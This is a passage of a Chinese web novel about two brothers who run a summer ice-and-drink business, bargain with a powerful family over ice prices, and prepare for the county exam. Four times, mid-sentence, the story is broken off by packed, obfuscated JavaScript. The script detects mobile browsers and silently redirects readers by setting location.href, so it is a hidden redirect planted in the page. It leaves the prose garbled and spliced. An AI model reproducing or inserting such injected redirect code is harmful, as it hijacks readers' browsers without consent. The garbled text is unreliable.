江夜道:“今日夏日,散了学,有愿意来帮我们卖冰的,每卖出一份,抽一成。” 这话刚出口。那边张迅疾等人就扑哧笑出来,“一成?那一份才多少文,一成的话一文也不知道有没有,打发叫花子呢。谁愿意跟你们去卖冰,是闲着没事做,还是穷疯了?” 朱红也道:“就是,卖一个夏日,也赚不到十两吧。” 这些说完,立即就有一个叫刘顺的道:“十两?你们赚得到吗?你们的银子还不是爹娘给的,有什么了不起?” 沈德福也接:“我看,他们别说十两,就是一百文也难说。” 张迅疾等人被说得脸红一阵白一阵的,还顶嘴,“谁一百文都赚不到。” 江夜冷笑:“你们能?证明给我看看。” 沈德福和刘顺都是江夜的死忠粉,也跟着吆喝,“就是就是。有本事跟我们夜哥比比啊。” “谁不敢谁是乌龟。要我说,他们是读书比不过,比做生意肯定也不是夜哥的对手。” 张迅疾:“比就比,怕你们!” “不怕你们就来啊。” 这些人叫着喊着,只有江寻默默在读书。怎么能赚点小银子都能闹得大风大雨的啊。 最终商量决定,双方靠自己的本事,谁赚得多谁就算胜利。 至于那百分之十的提成,整个学堂也有五、六来个人参与。他们知道江氏兄弟的糖粥卖得很好,相信只要跟着他们就一定能赚到银子。 就这样,他们的伙计也有了。 一切准备就绪,他们便在炎炎夏日火火热热地卖开了。 如两人所料,这个夏日确实极为炎热。也当然,刘家冰窖的冰,他们也是用不完的,所以还有一半他们是打算拿来租给别人的。再一次转手,赚取差价。至于那摊车,每次一出车,香饮几乎就会销售一空。帮忙的小伙计们忙都忙不过来。 这一日,也是如此,他们在街口的大槐树下忙着卖酸梅汤和绿豆汤。 江寻已经不用亲自熬制这些了,他是那个指挥。 当然,更大的主心骨是江夜。 江夜似乎是天生的领袖,他知道该怎么把控全局。也因为有他,现场和谐得很,搬冰的搬冰,卖饮的卖饮,做汤的做汤,收银的收银,吆喝的吆喝,——有条不紊的。 一日结束,平均收益达到了一两,这是一个极为可观的数字。 此时是黄昏,沈德福等人兴高采烈地跟江夜江寻告别,每人临走前还端了一碗绿豆汤回去。 走的时候,嘴也甜,一口一个“夜哥”,“阿寻”。 这么尽力是因为江家兄弟全部日结,回去算银子,直接给银,每人每天便能得几百文。这简直就是动力,也无怪他们这么激情。 人群散后,江夜江寻帮着爹娘收拾了摊车,便往回春堂去。 此时的冰已经供不应求,到处都在要冰。而他们手里正掌着大量的冰。现在就是将冰卖出去的好时机了。 他们找到回春堂的掌柜,以稍低于市场价将冰卖给了回春堂的掌柜,这样一来,又是一笔可观的差价,总计大约五两左右。 而这,只是一部分。 如果真的将他们早就预定好的冰全部都卖出去,他们粗粗算过,能有上百两。 回春堂是第一家,接下来,他们又去了茶棚、郑寡妇豆腐坊,以及几个大户人家,推销他们的冰。 一圈下来,订出去十家左右。而这,已经去了冰窖里的近九成,还有一成,他们不打算卖,除了友情送一些给他们曾经抄书的翰墨斋,还有一部分拿来给他们自己降暑。 两人拿着十来张契约回家,全是货单契约。 回到家,张氏问他们去哪里了。 江夜道:“我跟阿寻去卖冰去,全卖出去了。” 江秀才道:“可刚才那王家的人来了,说是他们的冰要涨价。” 张氏叹了口气,“这王家听说来头不小,好像是从盛京宫里来的人呐,这……阿寻,阿夜,我们可不能跟官家对着干啊。” 江秀才也跟着道:“你娘说得对,我们赚到一些便已经够了,要不然也让其他人赚一点?” 现在整个清河镇谁不知道江家两小只正在卖冰,他们卖的香饮子好喝不贵,甚为解渴。每日都得排队去买,要不然一会儿就卖没了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377328|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >当然,赚钱是赚钱的,就是也遭人恨。他们有了生意,其他人就没了啊。跟他们一样做香饮子的买不起冰;买得起冰的,价格也没他们实惠。 普通老百姓谁会跟银子过不去呢。也因此,生意几乎都集中在他们这里。 江秀才和张氏只是对最普通不过的夫妇,他们胆小,最怕的就是官了。 赚银子,他们高兴;但赚太多了,他们倒是先怕了。 江夜表情淡淡的,“可爹娘,我已经把冰全部都供出去了。这是契约书。” 江寻知道江夜的性子,站出来问:“他们要涨多少?”确实压得太低,也难怪别人眼红。现在冰价开价就是一百五十文,只过了三天就涨到了两百文一车,现在当然又涨了,已经快到三百文了。 年初他们订的时候每车也就一百七左右,足足翻了一番。 张氏回道:“要求我们再补五两。” 江夜冷笑:“不可能。当初已经定好的,如果他们不肯给冰,那就要赔十倍给我们。” 江秀才为难道:“阿夜,那王家人可不是好惹的啊。我们让一点利,少赚一点,保个平安吧。” 江夜沉默不说话,不是默许,而是不想跟江家夫妇吵。江秀才和张氏见江夜根本说不动,便转向江寻。 江寻耸肩,“你们别看我,我可说不动哥哥。” 江秀才和张氏都叹了口气。说实话,他们是有点怕江夜这个孩子的,他的性格非常强势,说一不二,且不是那种无理取闹之人,他非常聪明,跟他辩论,只会输。可不答应王家人的话,这肯定……肯定是要出事的呀。 两兄弟上了楼,江夜问:“我以为你会劝我。” 江寻道:“那王家的言而无信,我们倒还要让步,也没这个理,是吧。” “是。” “但爹娘的担心不无道理,这毕竟只是清河镇。我们无权无势……” “走一步算一步。他们不给冰,我们也不会吃亏。那些说好的卖家,实在不行,我们就从其他镇买冰卖给他们,也亏不到哪里去。” 江寻道:“——我倒是不担心他们不给冰。” 江夜:“担心他们会弄我们的香饮生意?” “嗯,这毕竟才是我们的主业。” 江夜:“那你的意思……” 江寻:“先跟他们谈谈,能谈的话自然最好,双方各退一步,大家共赢。——但我们不要马上跟他们谈,缓一缓。” 江夜哪里能不明白江寻的意思,只是有时候仍会惊讶他的聪明,不,不止是聪明,而是睿智。 以及自己再一次被他无意中说服了。 他们后退并不代表他们妥协,而是先降低他们的心理预期,不能让他们以为他们是怕了他们,而是让他们知道,双方不是敌人,是朋友,是可以一起赚银子的伙伴。 所以这也是一种另相的示好,让他们记得他们的“恩情”。 这叫,以退为进。 两人商量好,便让江秀才跟王家人说,他们得考虑考虑。 三日后考虑好就会告诉他们了。 16.商量 这三日,他们也没闲着。 江夜去问了清河镇的其他冰窖,以及隔壁镇的冰。同时找了些靠山,其中几个是他们供冰的人,跟他们说了这件事。 当然这些人只是听听就过,并没有真的愿意为了他们出面跟王家做对。 但他们要的就是一些感觉,让别人以为他们看起来有靠山就行。 三日后,他们才告诉王家人,他们考虑好了,但需要跟王家真正管事的人谈一谈。 对方同意了。 就这样,在一日卖好香饮之后,他们便到了王家的府邸。 等到后,江寻江夜才暗自心惊,幸好没有跟王家对着干。首先是这王宅的地理位置很是特别,其次这是一座三进府宅,门楼修得颇为讲究。 进到里面更是如此,所具物品一应都不是凡品。 江寻江夜都曾在都城生活过,自然知道什么是真正的好东西。这王家看来还不止来自盛京,还是宫里的人? 他们只站立了一会儿,就有位中年男子迎了出来,笑声爽朗,“王管事跟我说,租我们王家冰窖的是两位俊拔少年,还是两兄弟,今日一见,果然是英雄出少年啊。” 两人忙起身施礼,“王老爷。” 王老爷笑着让他们快坐下,然后道:“两位气度不凡,就是长得不太像,你们谁是哥哥,谁是弟弟?” 江夜道:“王老爷以为呢。” 王老爷指着江夜,“按说身材,你更像哥哥;但若论气质,他像哥哥。我想,你是哥哥吧。” 江寻:“王老爷好眼光。” 王老爷指着江寻:“那你是弟弟。” 江寻点头。 王老爷笑完,笑容一收,开始讨论正事,“这次涨冰价我们也不想,只是这天气炎热,我们可得花功夫存护,这才不得已为之。” 江夜:“王老爷的难处我们是明白的,所以我们愿意再补二两银子。” 王老爷笑容一变,“二两?可我听说你们卖冰,已经抬到了三百文一车。香饮则涨到了十二文一碗。” 江夜道:“那也只有个别如此,大部分的我们都是按低价来卖的。” 王老爷故意为难道:“这只补二两,又何必大费周章?还不够我们维护的银子呢。” 江寻:“王老爷,我们卖香饮,利润不高,属于是薄利多销。至于卖冰,也是如此,确实只有极个别的才卖到三百文一车。大家都是街坊邻里,生意不成情义在,总不能为了点银子,闹得不愉快不是?” 江寻说完,江夜也接:“当然,我们也知道王老爷您的难处,我们愿意再多出一两银子。这其实已经超出我们的承受能力,但我们愿意亏本给。正所谓,独乐乐不如众乐乐,大家都是清河镇的人,本是一家,何必计较一点得失?您说,是吧?” 王老爷看着这兄弟一唱一和,态度温和,但极有原则,说得人毫无反击之力。 他们告诉他,答应自然是最好的,大家一起赚银子;不答应,他们宁愿不做他的生意,去找别人。他们也不畏惧他。 他要求涨价,倒也不是为了贪图他们这几两银子,而是想着一般对方是那种胆小之人,让他们交自然也就交了,都不需要他多说什么。这叫不要白不要。 现在情况完全不一样了—— 他已经对这几两银子不感兴趣,跟这江家兄弟交个朋友似乎变得更为重要。 于是王老爷哈哈笑道:“英雄出少年,英雄出少年。你们说得对,大家都是清河镇的人,何必斤斤计较。那就三两银子吧。夏日结束,你们想给就给,不想给也没事。咱们就当交个朋友,明年你们买冰再找我就成。” 明年?两人想,明年就不会买这么多冰了。 “谢王老爷了。” 两人从王家府邸出来后,王家老爷对旁边的管事道:“把这件事报给干爹吧。” 管事垂首,“说什么?” 王家老爷笑:“就说,清河镇出了两个天才少年,看看要不要收为己用。” …… 事实证明,跟王家人不要对着干是一件极为明智的事。因为很快,几乎所有人都知道,他们跟王家人搭上了关系。——虽然损失了一点银子,但也让其他想搞事情的人彻底“消失匿迹”。 整个夏日,他们就这样忙碌着完成卖冰大业。 夏日快结束时,冰价开始回落,但同时他们的香饮也卖得七七八八了,冰也供应完了。 临近结束,生意也冷淡了一些,但每日还是有长队。 这一日,江寻正在摊上帮忙。忙到一半,忽然眼前一花,脑袋像被什么东西重重压了一下,脚下发软。他伸手去扶车沿,没扶住,整个人便栽了下去。 当时江夜正在指挥着沈德福等人搬冰,直到听说弟弟晕倒了,忙跑回去看。张氏和江秀才也围过来。 “许是中暑了,回家休息一下就好。” 江秀才焦急地抱起儿子,“我背他回去吧。” 江夜道:“我背他回去,让我来。”他什么也没说,蹲下去,把江寻背在身上。一手撑伞,一手托着他,先往家走。 到家后,他给江寻煮了解暑茶,喂他喝了,又替他脱了上衣,准备帮他用冰水降温。在帮他擦拭身体的时候,他的手有片刻的迟疑,他转念一想,江寻是他弟弟,自己又有什么不好意思的?他才几岁,自己又几岁?他自嘲地笑了笑。 话虽如此,但整个擦拭,进行得比较尴尬,他尽量没去看江寻。擦好便帮他穿戴好衣服,等着他醒来。 过了一会儿,江寻就醒来了。 江夜问:“好点了没?” 江寻:“还是晕晕的。” “等一会儿就好了。” “哥哥不用陪着我,我一个人可以的。” 江夜道:“没事,那边那么多人,也快结束了,没我也行。” 江寻轻声道:“哥哥还是去吧。我躺躺就好,你陪着我不无聊啊。” 江夜笑:“倒也还行,不算无聊。” 江寻也没强求,闭上眼休息了。 江夜就这样陪着弟弟,等到日照西斜,江秀才和张氏将摊车推回来。他们回来后也去看了江寻,见他已经醒来,没什么大碍,也是松了一口气。 这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382386|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件事过后,再没发生大事。他们顺顺利利地结束了卖香饮的事,除了成本,和要给同学们的抽头——预计的百分之十,大约五两左右,他们纯利收入是四十五两。想当初他们抄了两年书,也就二十两。 这次已经快很多很多了。 他们分了一部分给了爹娘,给他们自己也留了一点。 这样他们的成本从当初的二十两,变成了五十两左右。 结束后,同学们张罗着要庆贺一番,地点定在镇东头老陈家的饭铺里。那饭铺是刘顺家开的,菜做得地道,价钱也公道。 这次帮忙的五个同学,分了这五两,每人都赚了近一两左右。这对于他们来说,真的已经是巨款。刘顺家的人对这江寻江夜选在他们饭铺庆祝,也是受宠若惊,对于他们愿意带着他们的儿子赚钱更是感激不尽。——他们的饭铺就是干一年,也就赚十两左右。 到了饭铺,桌子已经摆好了,一桌席面,八个菜,全是热腾腾的。 他们坐好后,各个举着茶杯像个小大人一样碰杯敬酒,还玩起了行酒令。不亦乐乎。 到了最后,酒自然是没喝,但各个似是都有些醉了。 江寻上了桌之后,就只顾着吃。他看江夜被几个同学围着,坐在一旁一边笑着一边看他们闹他的哥哥,一会儿是罚他喝茶,一会儿罚他吃菜。 沈德福最爱闹,对着刘顺道:“顺子,听说你姐姐乃清河镇一枝花,要我说,赶紧出来让我夜哥见见。夜哥以后必出人头地。” 刘顺觑着眼问:“我姐姐倒是肯,不知道夜哥怎么说?” 镇里的姑娘大多早熟,刘顺的姐姐今年十岁了,已经有些知晓人事。再过四年都可以许人了。 江寻坐在角落里,一边啃着鸡爪,一边笑眯眯地听着。 江夜瞥着弟弟这一副没心没肺的样子,指着他,“你们别考虑我,帮帮我弟弟吧。” 他不过顺口一句,沈德福等人倒真的来了劲儿。 “阿寻哪里需要,那郑寡妇家的玲姐就只对阿寻好,阿寻你发现了吗?” 江寻歪着头,“你们在说什么,我还是孩子呢。” 江寻没发觉,江夜倒是想起来了。之前每日上学,那卖豆腐的玲儿确实对阿寻不一样。至少不怎么跟他说话,但总找江寻说一句。 他本无意说起,反倒真的引出一桩姻缘?一想到弟弟可能会被抢走,他开口道:“说得对,都还是孩子呢。秋季开学,有的我们忙,大家好好勉力,读书科考最是要紧。” 这番话成功把几人的注意力转移到了科考上。 毕竟像他们年纪的,有些孩子都去参加县试了。 吃了饭,沈德福便过来跟江夜说:“夜哥,有空能替我补习一下吗?” 江夜:“这段时间你自己先学一下。”他说着看了下累得够呛的江寻,“刚结束,我们也得好好休息。等秋收之后吧。” 沈德福答应地去了。 人群散后,天色也晚了。江寻懒洋洋地走到江夜身边,“咱们也回吧。” 江夜突然道:“一整天看你也没精神,要哥哥背你回去吗?” 17.垫底 江寻笑回:“我多重啊。” 江夜:“你看你,可有几两肉?”他指着江寻瘦弱的身材。 他们正是长身体的时候,别看江寻每日都在吃,但吃不到多少肉。个子是长了,但体重却没有升。都说心宽体胖,但也没看江寻胖一些。 “那也不用你背啦,被人笑死要了。” 两人步行回家,回去晚风吹拂,沿路也有铺子正在收市。经过郑寡妇家的时候,他们也正在打烊。 那叫小玲的姑娘看到他们,笑着招呼,“你们回来了?” 江寻笑,“回来了,玲姐姐也要收摊了。” 小玲笑:“是啊。” 说者无意,听者有心。江夜经过时又回头瞥了一眼那玲姐,不禁想到他日江寻和小玲真的成亲后的画面,越想表情越严肃。还是科考吧,总不能真的困于清河镇吧。配弟弟的不说公主郡主,名门闺秀也得是要的。 他这样想着,眉眼倒是坚定一些。 …… 自然,江寻是不知道哥哥对他的期望这么之高,不过他也没想过什么终身大事。 他只知道经过一个夏日,自己跟江寻的亲密度又升了一位。 以及,他和江夜的学业也变得更为繁忙。 但饶是再忙,江寻也不会忘记两件事,第一件事是读闲书,第二件事是种菜和种枣树,他开始沉迷于记录自家院口枣树的成长。等枣树结果之后,他便拿了几颗红枣专门制作了枣茶,还分给了学堂里的同学。 转眼三年,当初种下的枣树已然亭亭如盖。 这三年,他们依靠夏日卖香饮,冬日卖糖粥,渐渐地积攒下了一笔小小的财富。 他们也从中庸和论语的学习,转入了孟子,直到孟子学完,四书便算基本学完。他们也正式进入县试的备考。 这一年是明顺十一年,距离他们那一年卖冰,已经过去了三年。 江寻分完枣茶包回来,江夜问:“都分完了?” 江寻嗯了声。 江夜:“没给哥哥留吗?” 江寻哎哟了一声,“我给忘了,对不起啊哥哥。” 他看江夜的脸虽然没给他摆脸色,但略微失落,忙从身后变出一包递给江夜,“可是你又不爱喝甜啊。” 江夜:“我不爱甜的是一回事,你不给我留,我就是伤心。” 江寻没答,笑着回到自己的座位上。 此时听到他们对话的沈德福转过来道:“阿寻,你难道不知道你哥哥的外号。” 江寻抬头,“什么外号?” 江夜还有些不好意思,但又不好阻拦。 “弟痴啊。一切以你的需求为需求,你的话就是圣旨。” 江寻笑,“有吗?” 旁边的刘顺接:“有有有。” 其他人也跟着附和。“只要你说不舒服,今日他就一定会陪着你。” “只要阿寻说不去,那他就一定不会去。” 几个同学说着话。江寻回头看江夜,江夜咳嗽着对那些起哄的人道:“我这是宠爱我的亲弟弟,你们妒忌呢。” “我也有哥哥,可就没一个像夜哥这样的。” “羡慕你啊,阿寻。” 江寻听了只是笑笑,还记得穿来刚满五岁,如今六年过去,他尽心尽力地对江夜好,把他当亲哥哥对待,肯定他也会把自己当弟弟看待啊。 他笑道:“你们可别羡慕。” 几人的谈笑在吴夫子进来后,息了声。 如果不出意外,他们要在明年参与县试。其实按照江夜的资质,今年就可以了,或者更早。但他打算跟江寻一起。 吴夫子道:“旬考在下月,一日两场,一共考三日,大家就当提前感受一下县试。今日我们的任务主要是修习文章,今日不合规矩的一律留堂。” 他说着话,戒尺拍得噼里啪啦响。 每一个人要求写一篇文章啊。 江寻现在对于如何蒙混过关这一套已经炉火纯青。他的高光——对于吴夫子来说,也就是三年前那场季考,之后他又恢复成那个默默无闻的江寻。 这一次亦是如此。 吴夫子对于他这种“后进生”几乎是不在意的,粗略地看了一遍他应付的文章,随口点评了几句,便将卷子放在一旁,然后吩咐让下一个学子上来。 对于他来说,这种自己都不努力的学子就是自己作践自己的人生,连他们自己都不上心,他凭什么还要分时间给这些后进生? 至于谁要苦口婆心地教导,自然是江夜。 江夜可是他的掌中宝。 可是他的哥哥江夜并不买账。 吴夫子耐心地将江夜的整篇文章细致地拆解分析,帮他放大他的优点,规避他的缺点。 他说了足足一盏茶的时间。 但说到最后,换来江夜的一句:“我觉得我的文章挺好的,不用修改。吴夫子如果想要多指点一点的话,能指点我弟弟吗?” 正在底下打瞌睡的江寻听到自己的名字吓得来了精神,别……别指导他啊。 这话说完,吴夫子被气得半死不活,又舍不得骂,只能挥手让江夜下去了。 江夜回到位置上,趁着吴夫子给其他人讲解的时候,让江寻把文章拿给他。 江寻磨磨蹭蹭地不想拿,但他也知道江夜的性子——不达目的誓不罢休,甚至有点不择手段,还是把文章给他了。 江夜仔细地看完,不免叹气。每次看江寻写的东西,他都会梦回三年前的季考,想到他第一次看到的那首《春》。——这首春,他已经熟练背诵;但他的弟弟江寻就跟沉寂的星,再也没有闪耀的时刻。 诗作如此,文章亦是如此。 通篇文章老生常谈,并无自己的一点思想,是那种放在人群中也不会有任何人注意的文章。这样的文章,别说万里挑一的乡试,就是县试,就不一定能过。 弟弟这般平庸,反观经他辅导的沈德福,成绩不断进步:从今年开始,已经稳定在学堂前五。去年季考,四镇联考,稳定在前二十。——有极大的希望能通过县考。 他本想着借着他给沈德福辅导的时候顺便也辅导一下江寻,但奈何江寻人在心不在,若是问他他全都答得上来,但就是考不好。 这叫人怎么不心急。 他又想故技重施,迫着江寻跟他学习,但又没有好的法子。 他看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386712|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半天,此时江寻道:“看完了吧,看完我回去啦。” 江夜按住弟弟要转回去的手,低声道;“要不要玩个游戏,咱们打个赌什么的,反正闲着也是闲着。” 江寻立马警觉,“你可别弄什么考入前十,就不逼迫我了的话。我就是不考入前十,你也不能逼我读书!” 江夜见被江寻发觉,叹口气,“读书要你命啊?” 江寻:“没要我的命,但说什么,我也不打赌。”那次早起跑步,让他去了半条命,至今他都记忆犹新。他现在挺好的,日子过得全是他想要的。 “那你县试打算怎么办?总得先过县试吧。” 江寻这才明白哥哥是担心这个,笑道:“县试是要过的,最起码得要当个廪生吧。”廪生是优秀的秀才,能吃朝廷的饷米。但秀才是要通过院试的。 秀才尚且不容易,别说成绩至少要排名前面。 江夜道:“你说得轻巧。”他是想要刺激江寻,不是真的看轻他。 江寻也没上他的当,“哥哥说得对,我会好好努力,认真学习。我回去啦。”他说着转了回去。 江夜知道,他的好弟弟是这样保证的,但行动上却不会有任何改变。 眼看着旬考将至,这旬考算是明年县考的一次模拟考试,基本能看出基本能不能考上县试了。 他带着这样的担心和江寻经历了旬考。 旬考一结束,一张榜,看到成绩的那一刻。 江夜的天都要榻了。 这清平县的七个镇一起旬考,参考学生在三百人左右,他的弟弟在红榜的最后。 当时他是从后面开始找的,他想着,总不至于真的考到最后—— 没想到啊。 他真的在最后看到了江寻的名字,倒数第三。倒数第一的那位作弊被划了叉叉,可以不作数,所以准确是,倒数第二。 就这样他的弟弟却气定神闲,嘶了一声,“居然还有人比我差?是谁啊?叫司徒大柱?” 他这样说完,就听旁边有个头圆圆的,方方的,真的就跟个柱子一样的孩子哇的一声哭出来了。 “为什么又倒数,我都这么努力,为什么又倒数。呜呜呜……我再也不考了。” “这么努力到底是为了什么!我的前途一片灰暗,呜呜呜……” 江寻不说话了,安慰地劝说道:“没事,你努力了就好啊。这一次的成败不算什么嘛。” 是啊,江夜也想说,这一次的失败不算什么。下次,他一定会让他的弟弟回到巅峰。但问题是,下一次就是要上真的了啊。 江寻则劝说着司徒大柱。 那司徒大柱见江寻的心态这般稳当,不由地问:“你叫什么啊?你考得很好?” “我叫江寻。” 司徒大柱瞪大眼,“你就是那个考第一名的?” “那我是哥,他叫江夜,我叫江寻。” 司徒大柱又抬头看了眼红榜,“你在我前面啊?” 江寻笑:“是啊,你看,我都没有气馁啊,大不了再来一次嘛。” 司徒大柱看着江寻笑得灿烂,少年的脸上仿佛有光,若不是他次次都是倒数,他真的要信了他了! 18.县城 和司徒大柱分别,江寻回到江夜身边。 他看江夜闷闷不乐,安慰道:“哥哥因为我不开心?” 江夜:“………你不担心?” 江寻道:“可县试是明年的事。” “……阿寻,如果真的考不上,该怎么办?” “考不上就算了嘛。”江寻道。考不上的话,他想过了,他还是能和江夜做兄弟,还是能刷任务啊,也没必要天天在一起。 看江寻这么不在意,江夜倒闷闷的,胸口堵着慌。可他想跟他一起考啊。 他没说话,江寻先说了,“好啦,我答应你,一定考上县试。” 江夜听到这话,就跟心口被抹了蜜,“真的?” 江寻:“真的。” “那要不要哥哥帮你补习?” 江寻摇头,“没事,我自己看看书,好吧?” 江夜只要得弟弟一句话,“好!” 可能还是有所改变的,至少江寻拿正经书的时间多了。而看到江寻读书,江夜就比谁都高兴。 于是在明顺十一年的新年,两孩子破天荒地也没出去卖糖粥了,主要还是江夜坚持。江秀才和张氏也觉得要以学业为重。——虽然好像出去卖糖粥,也对江夜的成绩没有一丁点影响。 除夕夜,江寻看完书,正要上榻睡觉。江夜问:“念好了?” 江寻嗯了声,“念好了,不信哥哥考我?” 江夜也没打算考,因为每次他考他,他都是能答得出来的。 “你念好了就好。” 江夜洗漱完又对江寻道:“明日年初一,我们去县里看看考场,顺便去拜一下那里的考神。听说很灵的。” 刚准备睡着的江寻差点都要晕过去了,考神?哥哥疯了吗?怎么信起这个了。自己就这么让他不信任吗?虽然这三年,他一次都没考到前十了,但是他答应他会通过县试,就一定会考上啊。 好吧,虽然他确实看着没什么实力,但他最近有认真看书了耶。 “什么考神啊?” “我也不清楚,沈德福跟我说的。” 江寻看着哥哥期待的眼神,不忍辜负,“哥哥说去就去吧。”他还没去过县城呢。 江夜笑:“那好,你快睡吧。明日我叫你起床。” …… 次日天一亮,江寻就被江夜拉起来,穿戴好了衣服,去镇口坐骡车,一个人三十文就可以到清平县。与他们一起的,还有沈德福,他也来拜拜的。 花了大半天达到县城后,他们先去了文庙。这就是他们的考场了。 县试在年后,要过了元宵。 而江夜所说的考神就是文庙正殿供奉的文昌帝君,那神像端坐龛中,头戴冕旒,身着朝服,手持朱笔,面前香火不断。县考当日,所有考生进文庙都要给他磕头。帝君手里的那支朱笔,据说是点状元的。被他点中的人,从此飞黄腾达。没被点中的,只好明年再来。 江寻看哥哥恭敬地拜了一下帝君,不由汗然——这样一个天不怕地不怕的人,真的为了他在拜呢。 他也跟着拜了三拜。 拜完出来,是正午,三人在街边寻了家面铺,各要了一碗——据说是清平县最有名的。面端上来,汤清味厚,面条筋道。江寻吃了几口,点头道:“果然名不虚传。” 沈德福也道:“是啊。” 江夜道:“吃完差不多了,我们坐车回去吧。” 江寻决定表现得更为乖巧一些,让哥哥对他的观感更好,对江夜道:“哥哥,我们去书坊看看,选一些有用的书回去吧。” 江夜抬头瞥了江寻一眼,心里哪里会不知道他的意思,“也行。” 沈德福听江寻这么一说,也道:“对哦,还是阿寻一心读书啊。” 江夜暗想,是打算去看看县城的书坊有没有更好看的闲书吧。他太了解这个弟弟了。 果然,三人到了书坊,县城的书坊是要大得多,书架顶到房梁,一排一排望不到头。江寻先是乖乖地去选了几本跟四书有关的注释书,一会儿之后又在各类怪谈探案之前徘徊。 江夜看江寻暗自记下,又回到他的身边,对他道:“哥哥,我们走吧。” 江夜指了指那些闲书,道:“不买?” 江寻诧异地回看,所以哥哥一直在关注他吗?咳了一声,“还是县试要紧。” “说得也是。” 江寻听后暗叹,他本以为哥哥会说,没事,你先买回去,等县试完再看也行的。没想到啊没想到。他心中流着泪地只买了那几本跟经学相关的书。 然后三人走出书坊。 正准备回去时,他们路过知县府。 江夜瞥了知县府一眼,道:“等一下。” 沈德福好奇道:“夜哥,你要做什么?” 江夜想着前世的一桩案子应该发生县试前后,他就是不知道发生在什么时候。而那桩案子发生后,周欣荣便来找知县。他明知道知县府大门紧闭,就算自己过去了也什么都看不到,但他还是想去看一看。 “我去知县府找个熟人,你们在这里等我一下。” 沈德福好奇:“夜哥你在知县府也有熟人吗?” 江夜含糊地应了一声。 江寻道:“哥哥去吧,我们在这里等你。” 江夜嗯了声,便往知县后门而去。当然,自然是一场空。只是绕了知县府一圈,并没有看到什么人。 他回来后,跟江寻道:“我们走吧。” 江寻道:“哥哥找到你想找的人了吗?” 江夜摇头。 江寻道:“知县府找不到,或者可以考虑考虑他的亲戚什么的。从那里入手呢?” 江夜一愣,这倒是给了他灵感。前世周欣荣犯下的案子是强娶民女,打死那家的夫婿。只是他并不知那姑娘住在哪里。 此时沈德福问:“那人叫什么啊?夜哥,你说出来也许我们认识。” 江夜道:“万二。” 江寻道:“我知道这附近有个万家村,要不然我们去那里看看?说不定能找到哥哥想要的人?” 江夜问:“万家村,你怎么知道?” 江寻心道:当然是系统告诉他的啊。“听爹爹说的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392907|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江夜若有所想,“去看看也行。”最起码得知道这件事发展到什么地步了。不过他倒是没打算救这万二一家的。 江寻又道:“可去万家村比较远,我们可能赶不上回家吃晚饭了。” 江夜想了想,对沈德福道:“要不然,德福,你先带我弟弟回去吧。我一个人去。” 江寻喊道:“我也去,我也去。”他顿了顿,“哥哥,我跟你一起。” 沈德福道:“迟一点也迟一点,大家一起去吧。” 既如此,三人便又专门租了个骡车前往万家村。 江夜跟村里的人打听了万二。在村人的指引下,他们也顺利地找到了万二一家。只不过没有登门,就是不远处看着。 新年,万二正和他的新婚娘子正在院里忙着呢。 沈德福好奇地问:“夜哥,你不去找他们吗?” 江夜:“找他们?” “对啊,你说你认识他们。” 江夜摇头,“不,我不找他们。” 一旁的江寻心知这样的话,就表示江夜并不打算帮万二一家度过这次几乎算是改变他们人生的大事。 根据系统介绍,万夫妇在年后前往灯会,会被刚来县城的周欣荣碰上。周欣荣看上了万娘子,强行将人带离了万二身边。万二当然不肯,于是万二被周欣荣的人活活打死。 这样一桩案子事后被重重拿起,轻轻放下。原因无他,周欣荣是周家的亲戚,也是本书男主周述的堂哥。家大财大,富贵通天。 江夜不肯帮忙,但他却有责任引导江夜做这件好事。让他做一件好事,便助黑化值下降一点。 他思索了一番,对江夜道:“我却觉得哥哥该去。” 江夜回头:“为什么?” 江寻道:“因为哥哥想去啊,既是想做的事情,还是去做的好。哥哥说呢。” 江夜笑:“那倒是没这个想法。” 江寻:“………”好吧,这让他该怎么劝。“那就当是为了我吧。”说着,他轻轻抓住江夜的手,“好不好,哥哥?” 江夜笑,“你是求哥哥吗?” “哥哥同意吗?” 江夜将手放在江寻的头上,轻轻地按了一下,“只要是你说,我会去做的。” 一旁的沈德福喊道:“哎哟,哎哟,知道你们兄弟情深,所以到底要不要去?” 